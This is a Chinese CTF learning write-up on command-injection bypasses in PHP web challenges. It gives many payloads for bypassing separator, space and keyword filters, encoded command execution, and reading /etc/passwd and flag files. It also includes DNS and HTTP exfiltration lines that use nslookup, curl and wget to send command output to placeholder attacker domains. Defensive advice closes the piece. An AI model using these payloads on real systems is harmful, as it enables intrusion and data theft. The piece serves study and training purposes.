1. 从萌新到入门一次CTF Web命令执行通关的实战复盘前段时间我集中刷完了CTFShow平台萌新区的Web题目感觉像是完成了一次密集的“安全思维体操”。其中命令执行Command Execution相关的题目给我留下了极深的印象。这类漏洞的本质是攻击者能够通过Web应用注入并执行服务器端的系统命令其危害性不言而喻。对于刚入门Web安全的朋友来说命令执行既是必须掌握的基础也是一道需要巧妙思维才能跨越的坎。通关之后我最大的感触是知其然知道Payload怎么写远远不够更要知其所以然理解为什么这样能绕过。因此我决定把这次实战中遇到的各种绕过姿势、背后的原理以及我踩过的坑系统地梳理出来。这份总结不是冷冰冰的Payload列表而是一个从业者视角的、带有温度的经验复盘希望能帮助同样在路上的你不仅“抄到作业”更能“学会解题”。2. 命令执行漏洞核心原理与常见触发点解析在深入绕过技巧之前我们必须先扎稳马步理解命令执行漏洞究竟是如何发生的。简单来说当Web应用程序在服务器端调用了诸如system()、exec()、shell_exec()、passthru()、popen()、反引号这类能够执行系统命令的函数并且函数的参数完全或部分来自于用户可控的输入如GET/POST参数、Cookie、HTTP头部时漏洞就产生了。2.1 漏洞产生的典型代码模式理解漏洞最好的方式就是看有问题的代码。下面我列举几个最常见的“反面教材”。场景一直接拼接用户输入?php $cmd $_GET[cmd]; system(ping -c 4 . $cmd); // 用户可控的$cmd被直接拼接进命令 ?这是最经典、最直白的漏洞形式。攻击者传入cmd127.0.0.1; whoami实际执行的命令就变成了ping -c 4 127.0.0.1; whoami分号使得whoami作为一个新命令被执行。场景二参数可控的调用?php $file $_GET[file]; system(/usr/bin/cat . $file); // 用户控制要读取的文件名 ?这里用户可能通过file../../etc/passwd来尝试读取敏感文件但更危险的是命令注入filelog.txt; whoami。同样cat命令结束后分号后的命令会被执行。场景三隐藏在过滤函数后的危险?php $ip $_GET[ip]; $filtered_ip escapeshellarg($ip); // 使用了过滤函数 system(ping -c 4 . $filtered_ip); ?这个例子看起来安全了因为escapeshellarg()会给参数加上单引号并转义其中的单引号。但如果开发者的逻辑是system(ping -c 4 $filtered_ip);注意是双引号包裹变量在某些情况下依然可能存在风险。更重要的是许多自定义的、不完善的过滤函数如只过滤空格、只过滤分号会给人一种安全的假象反而为绕过创造了条件。注意漏洞的根源不在于使用了这些“危险函数”而在于将未经充分验证和净化的用户输入传递给了这些函数。一个设计良好的应用应该使用白名单机制严格限定输入内容或者使用参数化调用如proc_open()配合数组传递参数来避免拼接。2.2 命令执行与代码执行的区别新手常常会混淆这两个概念这里简单厘清命令执行RCE: Remote Command Execution执行的是操作系统层面的命令如ls、cat、whoami、ping。其执行环境是Shell如/bin/bash、/bin/sh。代码执行Code Execution执行的是应用程序上下文中的代码如PHP的eval()、Python的exec()、JavaScript的eval()。它是在语言解释器或运行时环境中执行的。两者危害都极大但利用方式和绕过技巧有所不同。本文聚焦于命令执行的绕过。3. 命令执行绕过姿势大全从基础到高阶这部分是核心干货。我将绕过技巧分为几个层次从最简单的符号绕过到需要一定知识储备的编码、变量拼接再到利用系统特性的高阶技巧。每个技巧我都会附上Payload示例并解释其生效的原理。3.1 基础分隔符绕过当过滤了常见的命令分隔符如;、、|时我们可以尝试其他具有同样功能的Shell元字符。1. 换行符绕过原理在Shell中换行符\nURL编码为%0a和回车符\r%0d的作用与分号类似可以分隔命令。Payload示例original_cmd127.0.0.1%0aid服务器端执行ping -c 4 127.0.0.1[换行]id。2. 逻辑运算符绕过逻辑与command1 command2只有command1执行成功返回0才会执行command2。cmd127.0.0.1%26%26id需要URL编码为%26%26||逻辑或command1 || command2只有command1执行失败返回非0才会执行command2。常用于“盲注”即前一个命令故意失败来触发后一个命令。cmdinvalid%20command%20||%20id|管道将前一个命令的输出作为后一个命令的输入。虽然主要功能是管道但也能用于执行多个命令。cmd127.0.0.1|id3. 后台执行符command1 command2command1在后台执行同时立即开始执行command2。cmd127.0.0.1%26id编码为%264. 命令分组()和{}用于将命令组合在一起可以结合上述分隔符使用实现更复杂的逻辑或绕过某些针对单个命令的过滤。cmd127.0.0.1%26%26(ls;id)或cmd127.0.0.1%26%26{ls,id}注意{}内命令用逗号分隔且不能有空格实操心得在实战测试中尤其是通过Burp Suite等工具发送Payload时要特别注意符号的URL编码。很多拦截规则WAF/IDS检测的是解码前的原始字符而Shell解析的是解码后的字符。灵活运用编码有时能直接绕过简单的正则匹配。3.2 空格绕过空格是命令参数之间的关键分隔符被过滤是常事。1. 使用Shell内部变量$IFS原理$IFSInternal Field Separator是Shell中用来分隔字段的内部变量默认值是空格、制表符、换行符。直接使用${IFS}可以替代空格。Payload示例cmd127.0.0.1cat${IFS}/etc/passwd也可以使用$IFS不带花括号但${IFS}更可靠。2. 使用重定向符原理和本身不是空格但在某些上下文中它们能起到分隔作用且常不被过滤。更常见的是用来包裹文件名但直接作为分隔符需要看具体命令的解析方式。一种更稳妥的利用是cat/etc/passwd这表示将/etc/passwd作为cat命令的输入从而避免了命令和参数间的空格。3. 使用制表符%09原理在Shell中制表符Tab和空格一样可以作为命令参数的分隔符。Payload示例cmd127.0.0.1%09cat%09/etc/passwd4. 花括号扩展无空格连接原理在Bash中{command,arg1,arg2}这种形式花括号内的内容会被扩展逗号分隔的部分会直接连接无需空格。但要注意花括号内不能有空格。Payload示例cmd127.0.0.1{cat,/etc/passwd}这会被扩展为执行cat /etc/passwd。3.3 关键词命令/参数绕过当系统过滤了cat、flag、ls等关键词时我们需要找到它们的“替身”。1. 命令路径代替命令名原理直接使用命令的绝对路径避免触发对命令名的检测。Payload示例过滤了cat尝试/bin/cat。过滤了ls尝试/bin/ls或/usr/bin/ls。不知道路径可以先尝试用which cat或whereis cat如果这些命令没被过滤来探测或者用通配符/usr/bin/c?t。2. 通配符匹配原理?匹配单个字符*匹配任意长度字符串。这在绕过对固定文件名的过滤时极其有效。Payload示例文件名flag被过滤尝试fla?、fla*、fla[g]、f*。读取flag.txtcat fla*.txt或cat fla?.txt。列出当前目录/bin/l?或/usr/bin/l*。3. 命令拼接原理利用Shell的字符串拼接特性将命令拆分成多个部分。方法变量拼接ac;bat; $a$b file.txt- 执行cat file.txt。反斜杠c\at file.txt。反斜杠在Shell中是转义字符但在这里它被解析后命令仍然是cat。引号c”a”t或c’a’t。引号内的字符会被当作一个整体但最终拼接起来还是cat。Payload示例变量拼接cmd127.0.0.1ac;bat;$a$b${IFS}flag.php4. 使用其他功能相似的命令原理达到目的不一定非要使用被过滤的命令。示例过滤了cat可以用more分页显示more flag.phpless类似more功能更强。head/tail查看文件头/尾几行head -n 50 flag.php。nl带行号显示文件nl flag.php。tac反向cat。od、xxd以二进制或十六进制形式查看适合查看非文本文件或绕过内容过滤。strings打印文件中可打印的字符。过滤了ls可以用dir在一些系统上可用。echo *直接使用Shell的通配符扩展echo *会列出当前目录所有文件。find . -maxdepth 1find命令本身功能强大。5. 编码与解码绕过原理将恶意命令进行编码在服务器端通过某种方式解码后执行。Base64编码# 本地准备 echo -n “cat /etc/passwd” | base64 # 输出Y2F0IC9ldGMvcGFzc3dkCg # Payload cmd127.0.0.1echo${IFS}“Y2F0IC9ldGMvcGFzc3dkCg”|base64${IFS}-d|bash这里利用了管道echo输出base64字符串 -base64 -d解码 -bash执行。Hex编码# 本地准备 echo -n “cat /etc/passwd” | xxd -ps # 输出636174202f6574632f7061737377640a # Payload (需要支持xxd或printf的环境) cmd127.0.0.1echo${IFS}“636174202f6574632f7061737377640a”|xxd${IFS}-r${IFS}-p|bash # 或者使用printf cmd127.0.0.1printf${IFS}‘\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x0a’|bash3.4 无字母数字构造命令高阶这是CTF中常见的极限挑战要求在不使用任何字母a-z, A-Z和数字0-9的情况下构造出可执行的命令。主要利用的是Shell中的变量扩展和通配符。1. 利用$、$*、$?等特殊变量$传递给脚本或函数的所有参数。$*类似$。$?上一个命令的退出状态码。$$当前Shell的进程IDPID。PID是数字但我们可以从中提取字符。$#传递给脚本或函数的参数个数。$0当前脚本的文件名。2. 利用环境变量系统中存在大量环境变量如$PATH、$PWD、$HOME、$SHELL等。它们的值包含字母我们可以通过截取${VAR:start:length}来获得需要的字符。示例假设我们需要字母c。$SHELL通常是/bin/bash我们可以取第一个非/的字符。# 在受限制的Shell中我们可能无法直接赋值但可以尝试利用已有变量。 # 一个经典的技巧是利用通配符/???/???匹配/bin/cat但这需要字母。 # 更通用的方法是利用${_}。在Bash中$_代表上一个命令的最后一个参数。3. 利用通配符/???/???匹配系统命令/???/???可以匹配到像/bin/cat、/bin/ls、/usr/bin/id这样的路径。但这具有随机性通常需要结合其他技巧来指定或缩小范围。4. 一个经典的构造示例利用${_}和通配符这个技巧非常巧妙它利用了Bash的一个特性${_}在脚本中代表上一个命令的最后一个参数而在交互式Shell或某些上下文中它可以被用来获取上一个命令本身。首先我们需要得到一个非字母数字的“种子”。例如我们可以通过$?上一条命令的返回值或者$(())算术展开来得到一个数字但数字也被禁用了。更常见的起点是利用未定义变量的默认值或通配符扩展。但在完全无字母数字的限制下这非常困难通常需要借助外部输入或服务器已存在的特定环境。由于无字母数字构造高度依赖于具体的环境Bash版本、可用变量、已定义函数等没有一个放之四海而皆准的Payload。在CTFShow的题目中这类限制往往伴随着其他漏洞如文件上传、序列化、preg_replace的/e模式等需要综合运用。一个典型的解题思路可能是先通过非字母数字的方式生成一个包含字母的文件比如通过重定向和通配符创建文件然后再利用这个文件。踩坑记录无字母数字绕过时最容易卡在“第一步”。我的经验是先别急着想最终命令而是思考“在当前上下文中我能产生什么输出”。是错误信息是某个固定字符串还是可以通过${PATH:0:1}这类方式从已有变量中“抠”出一个字符从一个字符开始像搭积木一样构建出完整的命令。4. 实战场景下的组合拳与盲注技巧在实际的CTF题目或安全测试中防御措施往往是多层的。我们需要将上述绕过技巧组合使用并掌握在无回显情况下的“盲注”技术。4.1 组合绕过案例解析假设一道题目过滤了空格、分号、cat、flag、数字。我们的目标是读取/flag文件。解题思路空格绕过使用${IFS}。命令分隔分号被过滤尝试%0a换行或。cat绕过使用/bin/cat或more或tac。flag关键词绕过使用通配符fla*或fla?。如果知道确切路径直接用/fla*。数字绕过本题目标文件路径不含数字暂不影响。如果命令需要数字参数如head -n 10可以用$#参数个数或通过运算$(($(($$))-$$))得到0再递增但这很复杂通常优先选择不需要数字参数的命令。构造Payloadip127.0.0.1%0a/bin/cat${IFS}/fla*或ip127.0.0.1more${IFS}/fla?通过组合我们成功绕过了所有过滤。4.2 无回显命令执行盲注很多时候命令执行成功了但结果不会直接显示在页面上例如命令结果被重定向到/dev/null或者只显示“执行成功”的提示。这时就需要盲注技术。1. 时间延迟Time-based Blind原理通过执行sleep命令根据页面响应时间来判断命令是否执行成功。Payload示例判断/flag文件是否存在cmdtest${IFS}-f${IFS}/flag${IFS}${IFS}sleep${IFS}5。如果页面响应延迟了5秒说明文件存在test -f成功执行了sleep。逐位判断文件内容结合cut、substr和sleep。例如判断第一个字符是否是‘f’cmdif${IFS}[${IFS}$(cut${IFS}-c1${IFS}/flag)${IFS}${IFS}”f”${IFS}];then${IFS}sleep${IFS}5;fi。这个过程非常缓慢需要自动化脚本。2. DNS外带DNS Exfiltration原理利用命令执行触发DNS查询将数据包含在子域名中通过监控自己控制的DNS服务器日志来获取数据。Payload示例简单证明漏洞存在cmdnslookup${IFS}$(whoami).yourdomain.com。查看你的DNS服务器日志如果收到对root.yourdomain.com的查询说明当前用户是root。外带文件内容cmdfor${IFS}i${IFS}in${IFS}$(cat${IFS}/flag${IFS}|${IFS}od${IFS}-x);do${IFS}nslookup${IFS}$i.yourdomain.com;done。这会将文件内容的十六进制形式分段通过DNS查询带出。优点能穿透很多只允许出站DNS流量的网络限制。工具dig、nslookup、pingping -c 1 data.domain.com都可以用来触发DNS查询。3. HTTP请求外带HTTP Exfiltration原理利用curl、wget等命令将命令执行的结果作为参数发送到攻击者控制的Web服务器。Payload示例cmdcurl${IFS}http://your-server.com/$(whoami) cmdwget${IFS}http://your-server.com/$(cat${IFS}/flag${IFS}|${IFS}base64)优点数据传输效率高便于自动化接收和解析。注意目标服务器上需要安装有curl或wget并且允许对外发起HTTP请求。实操心得在CTF中盲注题目通常会提供一些“侧信道”信息。比如虽然不直接显示命令结果但页面可能会因为命令执行成功或失败而有细微差别如“ping成功”和“ping失败”的提示不同。仔细对比这些差异有时可以构造布尔型的盲注类似SQL布尔盲注这比时间盲注更可靠。5. 防御视角如何避免命令执行漏洞作为一名开发者了解攻击手法是为了更好地防御。以下是一些根本性的防御建议避免使用命令执行函数这是最根本的方法。问问自己这个功能是否真的需要调用系统命令是否有更安全的语言内置函数或库可以替代使用安全的API如果必须执行命令使用那些允许参数列表而非字符串拼接的函数。例如在PHP中使用proc_open()或popen()配合正确的参数传递而不是system($command)。实施白名单校验对用户输入进行严格的白名单过滤。如果参数只能是IP地址就严格用正则匹配IP格式如果参数是有限的几个选项就只允许那几个选项。对输入进行转义在确实需要拼接的情况下使用语言提供的专用转义函数如PHP的escapeshellarg()为参数加引号和escapeshellcmd()转义元字符。但要注意它们的区别和局限性escapeshellarg()通常更安全。最小权限原则运行Web服务的进程如www-data、nobody应该使用尽可能低的系统权限。这样即使命令执行漏洞被利用攻击者能造成的破坏也有限。禁用危险函数在生产环境的PHP配置php.ini中可以通过disable_functions指令禁用system、exec、shell_exec、passthru、popen、proc_open等危险函数。部署WAF/IDS在应用层前部署Web应用防火墙WAF或入侵检测系统IDS可以拦截常见的命令注入攻击模式。6. 常见问题与排查技巧实录在实战和CTF解题过程中我遇到了不少“诡异”的情况这里分享几个典型案例和排查思路。问题1Payload明明在本地Bash测试成功但打到题目环境没反应。排查思路Shell环境差异你的本地环境可能是bash而题目服务器可能是sh、dash或ash。一些Bash特有的特性如{cat,flag.txt}扩展、${VAR:offset:length}切片在其他Shell中可能不支持。尝试使用最通用的POSIX Shell语法。字符编码与转义通过浏览器或Burp Suite发送的Payload是否发生了额外的URL编码或解码特殊字符如、?、#、空格是否被正确处理建议在Burp Suite的Repeater模块中直接使用“Paste from file”或手动输入原始字节对比“原始视图”和“渲染视图”。过滤规则未知题目可能过滤了你想不到的字符。采用“减法”策略先用一个最简单的Payload如;id测试不成功再逐步替换分隔符、空格和命令观察哪个变化导致了失败从而推断过滤规则。问题2命令执行了但看不到回显。排查思路输出被重定向尝试将输出重定向到你能访问的文件。例如cmdwhoami /tmp/out.txt然后通过文件包含、目录遍历等漏洞读取/tmp/out.txt。盲注测试立即使用时间延迟sleep 5测试确认命令是否真的被执行。外带数据如果服务器能出网优先尝试DNS或HTTP外带这是最直接的证明和利用方式。问题3遇到非常严格的过滤感觉无从下手。排查思路信息收集先别想着执行cat /flag。用最基础的命令收集环境信息cmdls${IFS}-la看目录、cmdenv或cmdset看环境变量、cmduname${IFS}-a看系统版本。这些信息可能提示突破口。寻找备用命令用which、whereis、ls /bin /usr/bin看看系统里还有什么命令可用。也许有perl、python、php、nc、socat这些都能用来获取Shell或读取文件。利用已有文件如果服务器上有Web服务看看是否有上传点、日志文件、配置文件。有时可以通过写入Web目录然后通过HTTP访问来获取信息。问题4Payload在GET参数里太长或太复杂被截断或处理出错。解决方案切换到POST请求POST body通常对参数长度和特殊字符的限制更少。将命令写入脚本如果能有写入权限可以先将复杂的命令写到一个Shell脚本中然后执行这个脚本。例如echo${IFS}“#!/bin/bash\nwhoami\ncat /flag” /tmp/a.sh chmod x /tmp/a.sh /tmp/a.sh。使用编码将长命令用base64编码然后通过管道解码执行可以使Payload看起来更简洁。最后我想说的是命令执行绕过的本质是对Shell解析规则和系统环境的深刻理解。这份大全里的Payload是“鱼”而我希望通过解释原理和分享排查思路能给你“渔”。在实战中没有一成不变的Payload需要根据目标环境灵活调整、耐心测试。多动手搭建靶场环境复现多阅读别人的Writeup学习思路你的“武器库”自然会越来越丰富。